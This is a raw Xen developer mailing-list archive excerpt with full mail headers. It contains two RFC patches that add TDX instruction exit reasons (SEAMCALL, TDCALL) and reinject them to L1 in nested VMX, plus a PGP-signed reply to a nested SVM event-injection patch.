Subject: [RFC PATCH 1/2] vmx: Introduce TDX instruction exit reasons
Date: Wed, 15 Jul 2026 15:38:27 +0200
In-Reply-To: <1784122772.8631fc262581453bbf619ec5b2062170.19f66010afa000edb5@vates.tech>
References: <1784122772.8631fc262581453bbf619ec5b2062170.19f66010afa000edb5@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.890.c5c60b1e32e264a1.19f6602075d.785637313f19f3ab=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784122836829
X-purgate-ID: tlsNG-c1860d/1784122842-CCF4F87B-67669DB0/0/0
X-purgate-type: clean
X-purgate-size: 1856

---=Part.890.c5c60b1e32e264a1.19f6602075d.785637313f19f3ab=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On hardware that supports TDX, guests can cause VMEXIT related to
TDX instructions (SEAMCALL and TDCALL)=2E

Signed-off-by: Teddy Astie <teddy=2Eastie@vates=2Etech>
---
 xen/arch/x86/include/asm/hvm/vmx/vmx=2Eh | 2 ++
 xen/arch/x86/include/asm/perfc_defn=2Eh  | 2 +-
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/xen/arch/x86/include/asm/hvm/vmx/vmx=2Eh b/xen/arch/x86/inclu=
de/asm/hvm/vmx/vmx=2Eh
index da04752e17=2E=2Eb8219e0408 100644
--- a/xen/arch/x86/include/asm/hvm/vmx/vmx=2Eh
+++ b/xen/arch/x86/include/asm/hvm/vmx/vmx=2Eh
@@ -201,6 +201,8 @@ static inline void pi_clear_sn(struct pi_desc *pi_desc=
)
 #define EXIT_REASON_XRSTORS             64
 #define EXIT_REASON_BUS_LOCK            74
 #define EXIT_REASON_NOTIFY              75
+#define EXIT_REASON_SEAMCALL            76
+#define EXIT_REASON_TDCALL              77
 /* Remember to also update VMX_PERF_EXIT_REASON_SIZE! */
=20
 /*
diff --git a/xen/arch/x86/include/asm/perfc_defn=2Eh b/xen/arch/x86/includ=
e/asm/perfc_defn=2Eh
index ac7439b992=2E=2E102b9be6ef 100644
--- a/xen/arch/x86/include/asm/perfc_defn=2Eh
+++ b/xen/arch/x86/include/asm/perfc_defn=2Eh
@@ -6,7 +6,7 @@ PERFCOUNTER_ARRAY(exceptions,           "exceptions", 32)
=20
 #ifdef CONFIG_HVM
=20
-#define VMX_PERF_EXIT_REASON_SIZE 76
+#define VMX_PERF_EXIT_REASON_SIZE 78
 #define VMEXIT_NPF_PERFC 166
 #define SVM_PERF_EXIT_REASON_SIZE (VMEXIT_NPF_PERFC + 1)
 PERFCOUNTER_ARRAY(vmexits,              "vmexits",
--=20
2=2E54=2E0



-- 
Teddy Astie | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates s=
olutions

web: https://vates=2Etech
---=Part.890.c5c60b1e32e264a1.19f6602075d.785637313f19f3ab=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 13:41:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 13:41:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363138.1614951 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjzrB-0008UC-4Z; Wed, 15 Jul 2026 13:41:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363138.1614951; Wed, 15 Jul 2026 13:41:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjzrB-0008U2-22; Wed, 15 Jul 2026 13:41:01 +0000
Received: by outflank-mailman (input) for mailman id 1363138;
 Wed, 15 Jul 2026 13:40:59 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f660249d4000edb5@swg.vates.tech>)
 id 1wjzr9-0008SI-Cr
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 13:40:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjzr8-002mfL-Od
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 15:40:58 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f660249d4000edb5@swg.vates.tech>)
 id 6a578ddf-bab6-0a2a0a5309dd-0a2a45099892-40
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 15:40:58 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f660249d4000edb5@swg.vates.tech>)
 id 6a578dea-be1a-0a2a45090019-b9ff1c22916f-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 15:40:58 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f660249d4000edb5.003 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 15 Jul 2026 13:40:53 +0000
Received: from localhost.localdomain (88-188-240-210.subs.proxad.net
 [88.188.240.210]) (Authenticated sender: teddy.astie@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id 0782381F5A;
 Wed, 15 Jul 2026 15:40:53 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=IYUxAUY+XUVrfvgMnF3AcIUyUaG4Dpyw2dYT3Z3A3Aw=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=BO8Z1/siGNiVLYP8MliraOfVv0WezqdHoN2ynTqNf1p/nDz5Js/dZuB903NOwoVcz2utloVQn
 MVf5Zx5QYIEhMbHEmJwR4HpYony9TjuQZO2UvipsCS2V/sHjr0M9NyPYslJ4YHfhrMtU8qQqKk8
 2LpzQRwRPOJhDRrEdSZc9MzYyHbl29uqQrspPdxlgBLI0IEGL6/x7UrZiTZ7+yfiaFZIPGQrG+n
 ZGioTRQWpJkOLg40cd69+O3o1H0hTfStXQfeiuRjRIeQZE+If4kw7iU7kZMXxoBamaXpeMNdVqb
 cl5HkOHAnsFYW5lzwZM+JYNWXl+eztkMM2s9ykOUWtxg==
X-Zone-Loop: ed2350d586bedb6d5137f39db10d58a630329a1e3aa0
x-campaign-type: default
x-transaction-id: 9cbfeea0-89ee-4a48-9a2f-18f220b71af7
x-swg-uid: 01-0ac4104e-828d-4284-9190-5d09a9dc5283
X-Mailer: Sweego
Message-ID:
 <1784122853.8631fc262581453bbf619ec5b2062170.19f660249d4000edb5@vates.tech>
x-swg-bid: 1784122853.8631fc262581453bbf619ec5b2062170.19f660249d4000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Teddy Astie <teddy.astie@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Teddy Astie <teddy.astie@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>
Subject: [RFC PATCH 2/2] vvmx: Reinject TDX instruction exit reasons to L1 when emitted by L2
Date: Wed, 15 Jul 2026 15:38:29 +0200
In-Reply-To: <1784122772.8631fc262581453bbf619ec5b2062170.19f66010afa000edb5@vates.tech>
References: <1784122772.8631fc262581453bbf619ec5b2062170.19f66010afa000edb5@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.891.1691f3a2d28ce8c7.19f66024750.264e79b43cc33c9=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784122853200
X-purgate-ID: tlsNG-bad1c0/1784122858-BE2C4034-782739D8/0/0
X-purgate-type: clean
X-purgate-size: 1197

---=Part.891.1691f3a2d28ce8c7.19f66024750.264e79b43cc33c9=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Reinject the exit reason to L1 rather than failing on "Unhandled nested vme=
xit"
which leads to a L1 crash that can be caused by L2 by executing one of the=
 TDX
instructions=2E

Signed-off-by: Teddy Astie <teddy=2Eastie@vates=2Etech>
---
 xen/arch/x86/hvm/vmx/vvmx=2Ec | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/xen/arch/x86/hvm/vmx/vvmx=2Ec b/xen/arch/x86/hvm/vmx/vvmx=2Ec
index e4cdfe55c1=2E=2Eb2ad7db332 100644
--- a/xen/arch/x86/hvm/vmx/vvmx=2Ec
+++ b/xen/arch/x86/hvm/vmx/vvmx=2Ec
@@ -2496,6 +2496,8 @@ int nvmx_n2_vmexit_handler(struct cpu_user_regs *reg=
s,
     case EXIT_REASON_INVEPT:
     case EXIT_REASON_XSETBV:
     case EXIT_REASON_INVVPID:
+    case EXIT_REASON_SEAMCALL:
+    case EXIT_REASON_TDCALL:
         /* inject to L1 */
         nvcpu->nv_vmexit_pending =3D 1;
         break;
--=20
2=2E54=2E0



-- 
Teddy Astie | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates s=
olutions

web: https://vates=2Etech
---=Part.891.1691f3a2d28ce8c7.19f66024750.264e79b43cc33c9=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 14:13:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 14:13:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363172.1614965 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wk0ML-0004b4-I0; Wed, 15 Jul 2026 14:13:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363172.1614965; Wed, 15 Jul 2026 14:13:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wk0ML-0004ax-FG; Wed, 15 Jul 2026 14:13:13 +0000
Received: by outflank-mailman (input) for mailman id 1363172;
 Wed, 15 Jul 2026 14:13:11 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f661fca07000edb5@swg.vates.tech>)
 id 1wk0MJ-0004ar-EX
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 14:13:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wk0MI-004ew5-HD
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 16:13:10 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f661fca07000edb5@swg.vates.tech>)
 id 6a57956e-2eae-0a2a0a5409dd-0a2a45019480-26
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 16:13:10 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f661fca07000edb5@swg.vates.tech>)
 id 6a579576-5984-0a2a45010019-b9ff1c23a40d-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 16:13:10 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f661fca07000edb5.005 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 15 Jul 2026 14:13:07 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 610DA81249;
 Wed, 15 Jul 2026 16:13:06 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=Q9qauY3ho6sJnRDPNz/jMN5ThLRSFlnuw0AByOcUJcI=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=gasfKqRrAeOx1FMmy3A5PFOnDIeZc4orV7JbmGiCKw8rBD3KWcZkEvHaUIBlx7IuJahax66MR
 +gKGQTE137KujNMXqTmd37OSvv48NFBBzZdSVu/K1dEFRJNNurRbsTz1HJ521k+A5OIPGy1hrxw
 B1rlvbWEc6rRcyu/DvulgKN0yspoXqcriXXkxD5TPx3xhzAERncfBH2+BXpsKjcRLn5mf5Fsabf
 wmU7Ya2uBsVaAEdAuCDdPmtYJuNTH4jbiNkugOUzoVomlbMk+e9u62lBVKMVU/e5kpaFuOxq8Vj
 IClszsVXOZmgIkUiKeCD0Kz5dUtQwJxOntb0r1m2nIeA==
X-Zone-Loop: cf5e1f497c2203f6f560e0ba82455f607a6043557858
x-campaign-type: default
x-transaction-id: cb49ed01-d055-496f-afad-b660d3f510ca
x-swg-uid: 01-9247d8f8-0de6-435e-ae2f-698b353357c0
X-Mailer: Sweego
Message-ID:
 <1784124787.8631fc262581453bbf619ec5b2062170.19f661fca07000edb5@vates.tech>
x-swg-bid: 1784124787.8631fc262581453bbf619ec5b2062170.19f661fca07000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 15 Jul 2026 16:13:05 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
From: Teddy Astie <teddy.astie@vates.tech>
Subject: Re: [PATCH v1] nSVM: Check injected event consistency
To: Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>,
 xen-devel@lists.xenproject.org
Cc: jbeulich@suse.com, andrew.cooper3@citrix.com, roger.pau@citrix.com,
 jason.andryuk@amd.com
References: <d01b3d5327ace27ca9d81244a168ba2ab6ed094d.1784121738.git.abdelkareem.abdelsaamad@citrix.com>
Content-Language: en-US
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaT
 VqMdqul07o72m3eA2mf+LMu9a04FX/d4wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/
 EoucejoZ5SH49ksmVAmKOLktOaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+S
 PhHar7TPKjFz0G3DPNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89
 MXfQXZ3qt1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
 LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWjmoACGwME
 CwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNzuyOVCskwfUZPla6Z
 pd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrgjzR2NRCzfp0x0HfuhcYfAYPR46XHTvjaJE
 v99sT/vGUG1BZguYDOScSEpgSNaNlYum3RKZbMuROxdK8G+YHccJY8PvWSq2K2yiae2KGiAv
 1yjnZxug9/PtDfX8vQFUSg2w1ukRDf50wvDohN1zUQfFtofO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rVf3DV1iBu4NurUeHtyFk/dS0XTOQi2wVUb17sW/+ybCEokdVacZG
 zOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fuoGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+
 lOWSvdNHgoEkWR0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <d01b3d5327ace27ca9d81244a168ba2ab6ed094d.1784121738.git.abdelkareem.abdelsaamad@citrix.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------60ZWhcN7zupjno80KU5Jtiwp"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784124786559
X-purgate-ID: tlsNG-d62444/1784124790-1D272757-5BFC3915/0/0
X-purgate-type: clean
X-purgate-size: 12763

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------60ZWhcN7zupjno80KU5Jtiwp
Content-Type: multipart/mixed; boundary="------------h2Sx1g2IltcWKVBavcda0k2E";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>,
 xen-devel@lists.xenproject.org
Cc: jbeulich@suse.com, andrew.cooper3@citrix.com, roger.pau@citrix.com,
 jason.andryuk@amd.com
Message-ID: <8bf25049-9495-4a55-9d54-4f80640edd53@vates.tech>
Subject: Re: [PATCH v1] nSVM: Check injected event consistency
References: <d01b3d5327ace27ca9d81244a168ba2ab6ed094d.1784121738.git.abdelkareem.abdelsaamad@citrix.com>
In-Reply-To: <d01b3d5327ace27ca9d81244a168ba2ab6ed094d.1784121738.git.abdelkareem.abdelsaamad@citrix.com>

--------------h2Sx1g2IltcWKVBavcda0k2E
Content-Type: multipart/mixed; boundary="------------W67H0MV36qWcWdrxGKytoLnw"

--------------W67H0MV36qWcWdrxGKytoLnw
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMTUvMDcvMjAyNiDDoCAxNTozOSwgQWJkZWxrYXJlZW0gQWJkZWxzYWFtYWQgYSDDqWNy
aXTCoDoNCj4gT24gdGhlIEFNRCBwbGF0Zm9ybXMsIGFsbG93aW5nIGEgVk1SVU4gaW5zdHJ1
Y3Rpb24gd2l0aCBhIG1hbGZvcm1lZCBWTUNCIGhhcw0KPiBkZWJ1Z2dpbmcgY29tcGxpY2F0
aW9ucywgc2VjdXJpdHkgYW5kIHBlcmZvcm1hbmNlIGltcGxpY2F0aW9ucy4gVGhlIEFQTSB2
b2x1bWUNCj4gMiAxNS4yMCBbMV0gc3RhdGVzIHR3byBwb3NzaWJpbGl0aWVzIHRoYXQgcmVz
dWx0IGluIGEgVk1SVU4gZXhpdCB3aXRoDQo+IFZNRVhJVF9JTlZBTElEIGR1ZSB0byBpbmpl
Y3RlZCBldmVudHMuIFRoZXNlIGFyZSBlaXRoZXINCj4g4oCiIFJlc2VydmVkIHZhbHVlcyBv
ZiBUWVBFIGhhdmUgYmVlbiBzcGVjaWZpZWQuDQo+IOKAoiBUWVBFID0gMyAoZXhjZXB0aW9u
KSBoYXMgYmVlbiBzcGVjaWZpZWQgd2l0aCBhIHZlY3RvciB0aGF0IGRvZXMgbm90DQo+ICAg
IGNvcnJlc3BvbmQgdG8gYW4gZXhjZXB0aW9uICh0aGlzIGluY2x1ZGVzIHZlY3RvciAyLCB3
aGljaCBpcyBhbiBOTUksIG5vdA0KPiAgICBhbiBleGNlcHRpb24pLg0KPiBFeHRlbmQgdGhl
IFZNQ0IgY2hlY2tzIHRvIGNoZWNrIGZvciBzdWNoIG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aHZtL3N2bS92bWNiLmgNCj4gaW5kZXggMTNjY2ZkM2ZmOS4uM2MyMjA5
NWRiMSAxMDA2NDQNCj4gLS0tIGEveGVuL2FyY2gveDg2L2h2bS9zdm0vdm1jYi5oDQo+ICsr
KyBiL3hlbi9hcmNoL3g4Ni9odm0vc3ZtL3ZtY2IuaA0KPiBAQCAtMzA2LDYgKzMwNiw5IEBA
IGVudW0NCj4gICAgICAgVExCX0NUUkxfRkxVU0hfQVNJRF9OT05HTE9CQUwgPSA3LA0KPiAg
IH07DQo+ICAgDQo+ICsjZGVmaW5lIFNWTV9FVkVOVF9JTkpfVkVDX01BU0sgICAgIDB4ZmYN
Cj4gKyNkZWZpbmUgU1ZNX0VWRU5UX0lOSl9UWVBFX01BU0sgICAgMHg3DQo+ICsNCj4gICB0
eXBlZGVmIHVuaW9uDQo+ICAgew0KPiAgICAgICBzdHJ1Y3QNCg0KVGVkZHkNCg==
--------------W67H0MV36qWcWdrxGKytoLnw
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP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ExT
jjGVHoX7CVhWxvCiTqCUoXZRkUE9C3FnkzEFRkKbYu6NCfiHfEyB3Xyg9hfdrRgj
MRq907zCof+nDtWxGz1MSEuvTj1g9GZ049Bennqzjc/Q+0ovXoK4jm+Py0FiUGUa
A6yhexficjH+kCR/xDbVnWrMhSLB4AuTBT9HjfZI6gk3uYLhoT8Pig4/eVtR2Q1w
ZIJsFToR6ofGuyECwFcs+PUXN7fmGRSiPXgjAr/zIUBdW0VWCE3OGPNqtRk2E5s6
IQARAQABwsD8BBgBCAAmFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sLAFCQWj
moACGwwACgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiV
oUiHYN5QwhnbZnsaJDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764Qxy
X6rld2f2RcWkDuBHun55ZWXjby8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk
/dS0XTOQi2wVUb17sW/+ybCEokdVacZGzOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------W67H0MV36qWcWdrxGKytoLnw--

--------------h2Sx1g2IltcWKVBavcda0k2E--

--------------60ZWhcN7zupjno80KU5Jtiwp
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpXlXIFAwAAAAAACgkQZg+p0QLLz9DK
1Qv/dYmyNfXZFuKDYdFqRbSdOQ8v8KTnhYz3s+vl8GHD6wZyiIT/faKDJOmC25SMicGDZq6fb1wE
4U+Hu5Rrm+VIYVj6imeKpspbeYZTdzLdxvT3epWg/7wIkGQ3T5arPsawQOqWM2z89FnTuCbIxR4/
bMva2/dJlDLVCqPzcwUzh1g+rKbTpIEeSCrRjDIAxslM6OT523MuqIC9XZbwBR8SMHokk4Uokyza
zU96Qa5MfLz2HQkjc6CWzuDGFwDJUc65qFg5boSSBLJvraywDUzBCaCWyn2RR33aaUiDlxXf40x+
j2XxNM+7GU6ucLNXGSM9RGqphD1WjcuTBaYlt2Ul/LCPEz6JO2OUC67mts+H9aemC8c7UA6rQqpl
9zhdxt3E3RYG52pp4OHUNukL4n4gb3kNxxQxncHFXvjCd6CwiOovNvnnQJ/FGtNW56Bs12UvyeTS
Cao6GVnft4JJLD1w+JyP8ef57/XTj902zlXL0IU4pffxJ3WFqnvOqSScrNET
=p93U
-----END PGP SIGNATURE-----

--------------60ZWhcN7zupjno80KU5Jtiwp--


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 14:22:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 14:22:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363186.1614974 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wk0VF-0006Ji-Gd; Wed, 15 Jul 2026 14:22:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363186.1614974; Wed, 15 Jul 2026 14:22:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wk0VF-0006Jb-Dz; Wed, 15 Jul 2026 14:22:25 +0000
Received: by outflank-mailman (input) for mailman id 1363186;
 Wed, 15 Jul 2026 14:22:24 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wk0VD-0006JV-T8
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 14:22:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wk0VB-00DkJB-HR
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 16:22:21 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
